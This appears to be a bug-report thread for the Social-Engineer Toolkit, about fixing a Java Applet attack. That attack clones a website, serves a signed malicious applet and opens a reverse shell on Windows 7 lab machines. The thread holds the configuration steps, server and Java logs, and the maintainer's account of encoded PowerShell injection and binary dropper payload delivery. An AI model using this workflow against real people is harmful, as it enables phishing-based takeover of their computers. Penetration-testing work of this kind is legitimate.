Java Applet attack issue with payload file not found 404

[betoatx]

Hey,

Dave and I discussed briefly on twitter, but running java applet attack, i have gotten this issue on 2 different kali VMs both running 6.3 #HugsforLife

So SET options used were, 2, 1, 2, then internal no NAT, cloned google.com. I do have a signed cert that I copied to overwrite the built in applet in SET.

For payload I chose, 1, then 8443 for the reverse connection and 1 for reverse tcp.

So all is ready. Files in /var/www/ are: index.html index.html.bak qOtpFwyv.jar

Load the page in Win7 VM, see legit applet popup, hit run, then nothing. no reverse shell, no traffic at all on kali VM over port 8443(was running tcpdump)

Ran wireshark on windows system and noticed 404 error when accessing the payload. in this case: /gTdruKMP7

Here is what my apache logs look like:

192.168.0.173 - - [02/Jun/2015:14:51:29 -0400] "GET / HTTP/1.1" 200 40612 "-" "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" 192.168.0.173 - - [02/Jun/2015:14:51:29 -0400] "GET /xjs/_/js/k=xjs.hp.en_US.rK_Zjounm-w.O/m=sb_he,jsa,d,csi/rt=j/d=1/t=zcms/rs=ACT90oGvjGvhFoVVg2T75EKd_DoS_Rfa1Q HTTP/1.1" 404 581 "http://192.168.0.170/" "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" 192.168.0.173 - - [02/Jun/2015:14:51:30 -0400] "GET /images/nav_logo199.png HTTP/1.1" 404 513 "http://192.168.0.170/" "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" 192.168.0.173 - - [02/Jun/2015:14:51:31 -0400] "GET /favicon.ico HTTP/1.1" 404 503 "-" "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" 192.168.0.173 - - [02/Jun/2015:14:51:33 -0400] "GET /qOtpFwyv.jar HTTP/1.1" 304 188 "-" "Mozilla/4.0 (Windows 7 6.1) Java/1.8.0_45" 192.168.0.173 - - [02/Jun/2015:14:51:34 -0400] "GET /gTdruKMP7 HTTP/1.1" 404 526 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2" 192.168.0.173 - - [02/Jun/2015:14:52:21 -0400] "GET /gTdruKMP7 HTTP/1.1" 404 504 "-" "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko"

[betoatx]

I got a workaround going. I reverted to a previous version of SET, then used same settings, cloned site, generated payload in /var/www/. Then i aborted that version of SET, ran the latest SET with same settings and renamed the payload to what the new version of SET was supposed to generate.

Got shell on win7 VM.

[trustedsec]

You should be running version 6.3.2 which is the latest version of SET however, don't think that it would be your issue. In your config file (config/set_config) do you have deploy_binaries specified to no or yes? First, if using Windows 7 - it should be using powershell injection first which would give you the shell, second fallback method would be an executable dropper.

On the applet, are you using the latest codebase that's signed? Variable names changed in 6.3 which would cause a mismatch when pulling a binary.

I tested on 6.3.2 and unable to reproduce - shell works as anticipated on a Windows 7 and Windows 8.1 system clean with a fresh Kali and Ubuntu install..

[trustedsec]

Closing this out until I get more info.

[betoatx]

Greetz,

Yes deploy_binaries is set to yes.

I think it may be, as you say, the applet being from an older version of SET. I applied the code signing cert to an applet that was created with an older version of SET. I will do some more investigating and testing on this.

Thanks

[betoatx]

OK, I got latest 6.3.2 and copied the Signed_Update.jar.orig file moved it to my keystore directory and resigned it. Then i imported it back. still not getting the payload files in the /var/www/ directory.

Ill continue to do some more troubleshooting.

[betoatx]

dang. brand new fresh install of kali and still doesnt work.

[betoatx]

Youtube video of what I am getting. This was on a fresh install of kali with bleeding edge to get to 6.3.2 of SET.

https://youtu.be/ZXfGUQYJvsQ

[SecurityGarden]

Hi all, I'm experience the same problem, but only on Windows 7 32 bits targets. Everything works fine on Windows 7 64 bits.

Below the Java log from the 32 bits machine:

Java Plug-in 10.10.2.18 Using JRE version 1.7.0_10-b18 Java HotSpot(TM) Client VM

User home directory = C:\Users\Theun

c: clear console window f: finalize objects on finalization queue g: garbage collect h: display this help message l: dump classloader list m: print memory usage o: trigger logging q: hide console r: reload policy configuration s: dump system and deployment properties t: dump thread list v: dump thread stack x: clear classloader cache

0-5: set trace level to

basic: Added progress listener: sun.plugin.util.ProgressMonitorAdapter@172fbca basic: Plugin2ClassLoader.addURL parent called for http://172.16.42.50/2Led4kKw0Q71El.jar security: Blacklist revocation check is enabled security: Trusted libraries list check is enabled network: Cache entry found [url: http://172.16.42.50/2Led4kKw0Q71El.jar, version: null] prevalidated=true/0 cache: Adding MemoryCache entry: http://172.16.42.50/2Led4kKw0Q71El.jar cache: Resource http://172.16.42.50/2Led4kKw0Q71El.jar has expired. network: Connecting http://172.16.42.50/2Led4kKw0Q71El.jar with proxy=DIRECT network: Connecting http://172.16.42.50:80/ with proxy=DIRECT network: ResponseCode for http://172.16.42.50/2Led4kKw0Q71El.jar : 304 network: Encoding for http://172.16.42.50/2Led4kKw0Q71El.jar : null network: Disconnect connection to http://172.16.42.50/2Led4kKw0Q71El.jar cache: Reading Signers from 1070 http://172.16.42.50/2Led4kKw0Q71El.jar | C:\Users\Theun\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\35\2009ae23-340977e5.idx cache: Done readSigners(http://172.16.42.50/2Led4kKw0Q71El.jar) cache: Read manifest for http://172.16.42.50/2Led4kKw0Q71El.jar: read=205 full=205 basic: Plugin2ClassLoader.getPermissions CeilingPolicy allPerms security: Loading Deployment certificates from C:\Users\Theun\AppData\LocalLow\Sun\Java\Deployment\security\trusted.certs security: Loaded Deployment certificates from C:\Users\Theun\AppData\LocalLow\Sun\Java\Deployment\security\trusted.certs security: Loading certificates from Deployment session certificate store security: Loaded certificates from Deployment session certificate store security: Loading certificates from Internet Explorer TrustedPublisher certificate store security: Loaded certificates from Internet Explorer TrustedPublisher certificate store security: Validate the certificate chain using CertPath API security: Loading certificates from Internet Explorer ROOT certificate store security: Loaded certificates from Internet Explorer ROOT certificate store security: Loading Root CA certificates from C:\Program Files\Java\jre7\lib\security\cacerts security: Loaded Root CA certificates from C:\Program Files\Java\jre7\lib\security\cacerts security: Obtain certificate collection in Root CA certificate store security: Obtain certificate collection in Root CA certificate store security: Obtain certificate collection in Root CA certificate store security: Obtain certificate collection in Root CA certificate store security: The certificate hasnt been expired, no need to check timestamping info security: Found jurisdiction list file security: No need to checking trusted extension for this certificate security: The CRL support is disabled security: The OCSP support is disabled security: This OCSP End Entity validation is disabled security: Checking if certificate is in Deployment denied certificate store security: Checking if certificate is in Deployment permanent certificate store basic: Applet loaded. basic: Applet resized and added to parent container basic: PERF: AppletExecutionRunnable - applet.init() BEGIN ; jvmLaunch dt 236928 us, pluginInit dt 869819 us, TotalTime: 1106747 us network: Cache entry not found [url: http://172.16.42.50:80/iHPgij2mhlz8Nai, version: null] network: Connecting http://172.16.42.50:80/iHPgij2mhlz8Nai with proxy=DIRECT network: Connecting http://172.16.42.50:80/ with proxy=DIRECT java.io.FileNotFoundException: http://172.16.42.50:80/iHPgij2mhlz8Nai at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at sun.reflect.NativeConstructorAccessorImpl.newInstance(Unknown Source) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(Unknown Source) at java.lang.reflect.Constructor.newInstance(Unknown Source) at sun.net.www.protocol.http.HttpURLConnection$6.run(Unknown Source) at sun.net.www.protocol.http.HttpURLConnection$6.run(Unknown Source) at java.security.AccessController.doPrivileged(Native Method) at sun.net.www.protocol.http.HttpURLConnection.getChainedException(Unknown Source) at sun.net.www.protocol.http.HttpURLConnection.getInputStream(Unknown Source) at Java.init(q:74) at com.sun.deploy.uitoolkit.impl.awt.AWTAppletAdapter.init(Unknown Source) at sun.plugin2.applet.Plugin2Manager$AppletExecutionRunnable.run(Unknown Source) at java.lang.Thread.run(Unknown Source) Caused by: java.io.FileNotFoundException: http://172.16.42.50:80/iHPgij2mhlz8Nai at sun.net.www.protocol.http.HttpURLConnection.getInputStream(Unknown Source) at sun.net.www.protocol.http.HttpURLConnection.getHeaderField(Unknown Source) at java.net.URLConnection.getContentType(Unknown Source) at Java.init(q:84) ... 3 more basic: Applet initialized basic: Starting applet basic: completed perf rollup basic: Applet made visible basic: Applet started basic: Told clients applet is started

In /var/www/ there is an 2Led4kKw0Q71El.jar but no: iHPgij2mhlz8Nai Hopes this helps to solve the problem.

[betoatx]

its odd that it works on 64bit and not on 32bit. It doesnt seem to be an issue with the system your attacking, if either way the payload file is not present.

network: Cache entry not found [url: http://172.16.42.50:80/iHPgij2mhlz8Nai, version: null] network: Connecting http://172.16.42.50:80/iHPgij2mhlz8Nai with proxy=DIRECT network: Connecting http://172.16.42.50:80/ with proxy=DIRECT java.io.FileNotFoundException: http://172.16.42.50:80/iHPgij2mhlz8Nai

So if this file does not exist or is not generated by create_payload.py (maybe?) then it shouldt work on any system, be it 32 or 64 bit.

[trustedsec]

Hey guys,

Much appreciated for the help. This all makes sense actually, there's two main problems with the new codebase. First the history lesson on the latest release. msfpayload and msfencode was removed which required somewhat of a big rewrite on how I did things in order to switch to msfvenom. While I was at it, I rewrote the entire payload generation system as it needed to be rehauled for quite some time.

In doing that, I had to restructure how payloads were created including two key methods, the first how powershell injection occurred and the second, if powershell wasn't there, then payload delivery of a binary.

In a 32 bit system, powershell will attempt to execute in the traditional system32\ powershell directory. On 64 bit I wrote code that would look for length of instruction set pointers, if they are 8 bits we are on a 64 bit platform and uses the syswow64 directory instead to downgrade the process to a 32 bit one (in order to use native 32 bit shellcode in one delivery method). It looks like the code to trigger that was not properly working. I've gone through and made changes for what I believe is the problem however I'm currently on a plane 30k feet in the air typing this and don't have a 32 bit platform to test it on.

The second issue arises when powershell is not detected which is where betoatx is running into. The payloads being selected, specifically the injection technique would not write the initial binary to /root/.set/msf.exe. I've corrected and fixed this in the event powershell is not on the system.

If one of you can test for me on a 32 bit platform that has powershell to see if this fix works, its quite simple. Inside the root SET directory go to src/core/setcore.py.

Look for the following string:

$cmd = "-nop -noni -enc"

There will be two of these, one will have a space in front of -enc " and the other with -enc" with no space. The second one which contains -enc" with no space, simply place a space in front of the c like the other one.

Old code:

$cmd = "-nop -noni -enc"

New code:

$cmd = "-nop -noni -enc "

Save the changes and try the attack and let me know if that works. I know for a fact I've fixed the binary dropper and tested that after I removed Powershell from my system however can't confirm if the PS is fixed.

Going to go ahead and reopen this one. Thanks for testing this out and sorry its taken so long, life has been crazy busy.

[betoatx]

busy is good when talking business. Thanks for your help.

i did apt-get update using bleeding edge on kali, made changes to setcore.py and still only see the 3 files in the /var/www/ directory, index.html, index.html.bak and the .jar file.

I did the same with a cloned copy of SET from github. I pulled latest updates(git pull).

Still same thing. msf.exe is not created(i believe), which in turn doesnt get encoded to final payload.

A fellow homie ran strace and we got some of this. May be normal but... stat("/usr/share/set/src/html/nix.bin", 0x7fffab7fe5b0) = -1 ENOENT (No such file or directory) stat("/usr/share/set/src/html/mac.bin", 0x7fffab7fe5b0) = -1 ENOENT (No such file or directory) stat("/root/.set/msf.exe", 0x7fffab7fe5b0) = -1 ENOENT (No such file or directory) write(1, "\33[92m\33[1m[*] \33[0mThe site has be"..., 76) = 76 open("/root/.set/set.options", O_RDONLY) = 15

Not sure if you made updates but havent pushed the changes to github yet.

[trustedsec]

You need to edit the files in SET that I had mentioned. That would be (in Kali) under /usr/share/set/src/core/setcore.py.

I'll just test when I get to a 32 bit system..

[trustedsec]

I haven't pushed changes because I don't know if they work yet.

[betoatx]

i did modify the setcore.py. Still no luck.

This is what i have in my /root/.set/ directory

root@loki:~/.set# ls -l total 76 -rw-r--r-- 1 root root 4 Jul 7 14:51 attack_vector -rw-r--r-- 1 root root 177 Jul 7 14:52 meta_config -rw-r--r-- 1 root root 31 Jul 7 14:52 metasploit.payload -rw-r--r-- 1 root root 27520 Jul 7 14:52 meterpreter.alpha -rw-r--r-- 1 root root 1160 Jul 7 14:52 meterpreter.alpha_decoded -rw-r--r-- 1 root root 37 Jul 7 14:52 payload_options.shellcode -rw-r--r-- 1 root root 5223 Jul 7 14:52 Rbl0VENKzsCpVC.jar -rw-r--r-- 1 root root 218 Jul 7 14:52 set.options -rw-r--r-- 1 root root 41 Jul 7 14:51 site.template drwxr-xr-x 2 root root 4096 Jul 7 14:52 web_clone -rw-r--r-- 1 root root 6740 Jul 7 14:52 x86.powershell

[trustedsec]

Sorry - confused a bit. The /root/.set/ directory would not change in any capacity from the changes made in setcore. They would remain the same, code execution via powershell would be fixed.

[betoatx]

oh ok.

im a bit confused with the powershell issue. Way I understand it powershell comes into the picture when running the site/java applet from windows system(victim)

My problem is that the payload that the jar file uses does not get generated and put into the /var/www/ directory.

Are we on the same page? I may not be fully following.

[SecurityGarden]

Hi

Followed instructions and edited /user/share/set/src/core/setcore.py. Added an space $cmd = "-nop -noni -enc " in the powershell_command = section.

I did test this on a Windows 7 32 bits machine, but the change did not make a difference. I'm sorry.

Take your time and try to reproduce it on a 32 bits windows machine. If you need more info please let me know.

[betoatx]

We are looking at the code and we see this line in the create_payload.py file:

480 subprocess.Popen("cp %s/shellcodeexec.custom %s/msf.exe 1> /dev/null 2> /dev/null" % (setdir,setdir), shell=True).wait()

We were drawn to this line, because the strace we ran gave back a "file not found" message when trying to run this command to generate the payload.

We couldnt find the code that generates the random named payload(from line 480 on down) that is supposed to be put in the /var/www/ dir. Way we understand is this payload is the shellcode that is encoded 10 times.

This is the missing file/shellcode that is our problem.

Is there another python file that we should be looking at as well?

[trustedsec]

That's not the right file - for shellcode injection its under src/core/payloadgen/create_payloads.py under alphanumeric injection section. I already have this tested and fixed in 6.4 on both 64 and 32 bit platforms. Shellcoeexec.custom is if you were using the shellcodeexec option which I believe is number 6 only which is rarely used..

Fix will be pushed out in 6.4, appreciate the heads up.

[betoatx]

Cool. Thanks tons! See you at Derbycon